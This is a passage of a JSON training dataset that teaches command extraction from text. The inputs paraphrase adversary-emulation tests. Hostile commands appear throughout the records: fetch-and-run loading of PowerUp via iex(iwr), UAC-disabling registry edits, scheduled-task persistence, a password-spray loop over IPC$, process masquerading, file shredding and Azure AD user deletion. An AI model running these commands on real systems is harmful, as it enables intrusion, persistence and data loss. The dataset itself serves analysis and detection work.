}`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Demonstrate the ability to modify the authorized_keys file for persistence with the command: if [ -f ~/.ssh/authorized_keys ]; then ssh_authorized_keys=$(cat ~/.ssh/authorized_keys); echo \"$ssh_authorized_keys\" > ~/.ssh/authorized_keys; fi;; This setup creates scheduled tasks to run an application during logon and system startup, with the following commands that produce success notifications. Check the Active Tasks pane in Task Scheduler to see the results: schtasks /create /tn \"T1053_005_OnLogon\" /sc onlogon /tr \"cmd.exe /c calc.exe\"\nschtasks /create /tn \"T1053_005_OnStartup\" /sc onstart /ru system /tr \"cmd.exe /c calc.exe\"",
    "output": "{\"command_list\": [\"if [ -f ~/.ssh/authorized_keys ]; then ssh_authorized_keys=$(cat ~/.ssh/authorized_keys); echo \\\"$ssh_authorized_keys\\\" > ~/.ssh/authorized_keys; fi;\\n\", \"schtasks /create /tn \\\"T1053_005_OnLogon\\\" /sc onlogon /tr \\\"cmd.exe /c calc.exe\\\"\\nschtasks /create /tn \\\"T1053_005_OnStartup\\\" /sc onstart /ru system /tr \\\"cmd.exe /c calc.exe\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The temporary file can be overwritten and deleted with this command: shred -u #{file_to_shred}; The temporary directory file can be erased without any visible feedback by executing: del /f #{file_to_delete}\n. Remember to use File Explorer to check that the file was successfully removed.",
    "output": "{\"command_list\": [\"shred -u #{file_to_shred}\\n\", \"del /f #{file_to_delete}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To replicate Snake Malware's registry manipulation technique, which stores encrypted data including AES keys and paths, execute this command: $typicalPath = \"HKLM:\\SOFTWARE\\Classes\\.wav\\OpenWithProgIds\"; $randomBytes = New-Object Byte[] 0x1000; (New-Object Random).NextBytes($randomBytes); New-ItemProperty -Path $typicalPath -Name \"AtomicSnake\" -Value $randomBytes -PropertyType Binary -Force | Out-Null; To enable simultaneous downloads on your system, modify the registry with the following commands: reg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" /v \"MaxConnectionsPerServer\" /t REG_DWORD /d 10 /f\nreg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" /v \"MaxConnectionsPer1_0Server\" /t REG_DWORD /d 10 /f",
    "output": "{\"command_list\": [\"$typicalPath = \\\"HKLM:\\\\SOFTWARE\\\\Classes\\\\.wav\\\\OpenWithProgIds\\\"; $randomBytes = New-Object Byte[] 0x1000; (New-Object Random).NextBytes($randomBytes); New-ItemProperty -Path $typicalPath -Name \\\"AtomicSnake\\\" -Value $randomBytes -PropertyType Binary -Force | Out-Null\\n\", \"reg add \\\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\" /v \\\"MaxConnectionsPerServer\\\" /t REG_DWORD /d 10 /f\\nreg add \\\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\" /v \\\"MaxConnectionsPer1_0Server\\\" /t REG_DWORD /d 10 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To masquerade PowerShell as taskhostw.exe, use the following command: copy %windir%\\System32\\windowspowershell\\v1.0\\powershell.exe %APPDATA%\\taskhostw.exe /Y\ncmd.exe /K %APPDATA%\\taskhostw.exe\n; This technique involves copying an executable and renaming it to mimic a Windows process, which can be achieved with the command:\ncopy \"#{inputfile}\" #{outputfile}\ntry { $myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id }\ncatch { $_; exit $_.Exception.HResult}\nStop-Process -ID $myT1036_003",
    "output": "{\"command_list\": [\"copy %windir%\\\\System32\\\\windowspowershell\\\\v1.0\\\\powershell.exe %APPDATA%\\\\taskhostw.exe /Y\\ncmd.exe /K %APPDATA%\\\\taskhostw.exe\\n\", \"copy \\\"#{inputfile}\\\" #{outputfile}\\ntry { $myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id }\\ncatch { $_; exit $_.Exception.HResult}\\nStop-Process -ID $myT1036_003\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This atomic modifies UAC notification behavior by executing the command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Security Center\" /v UACDisableNotify /t REG_DWORD /d 1 /f, making it easier for malicious software to operate.; This atomic disables UAC prompts for administrators by executing this registry command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Security Center\\\" /v UACDisableNotify /t REG_DWORD /d 1 /f\\n\", \"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For obtaining Group Policy Object data and saving it to a file, run the following: Get-GPO -Domain $ENV:userdnsdomain #{gpo_param} >> #{gpo_output}; When performing this test, exercise caution to avoid triggering account lockouts by executing it too often. The atomic maps the IPC$ share on a Domain Controller, testing the password Spring2020 for each user in %temp%\\users.txt. Successful authentications will display as [*] username:password, while failures show a dot. To specify a different password, use the following command: @FOR /F %n in (%temp%\\users.txt) do @echo | set/p=. & @net use %logonserver%\\IPC$ /user:\"%userdomain%\\%n\" \"#{password}\" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\\IPC$ > NUL",
    "output": "{\"command_list\": [\"Get-GPO -Domain $ENV:userdnsdomain #{gpo_param} >> #{gpo_output}\", \"@FOR /F %n in (%temp%\\\\users.txt) do @echo | set/p=. & @net use %logonserver%\\\\IPC$ /user:\\\"%userdomain%\\\\%n\\\" \\\"#{password}\\\" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\\\\IPC$ > NUL\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This operation deletes an Azure AD user account, which may interrupt legitimate access, via the command: Connect-AzureAD\n$userprincipalname = \"#{userprincipalname}\"\nRemove-AzureADUser -ObjectId $userprincipalname; To delete a user in Azure AD, which adversaries may use to disrupt system availability, run the following command sequence: az login\n$userprincipalname = \"#{userprincipalname}\"\naz ad user delete --id $userprincipalname",
    "output": "{\"command_list\": [\"Connect-AzureAD\\n$userprincipalname = \\\"#{userprincipalname}\\\"\\nRemove-AzureADUser -ObjectId $userprincipalname\", \"az login\\n$userprincipalname = \\\"#{userprincipalname}\\\"\\naz ad user delete --id $userprincipalname\"]}"
  },
  {
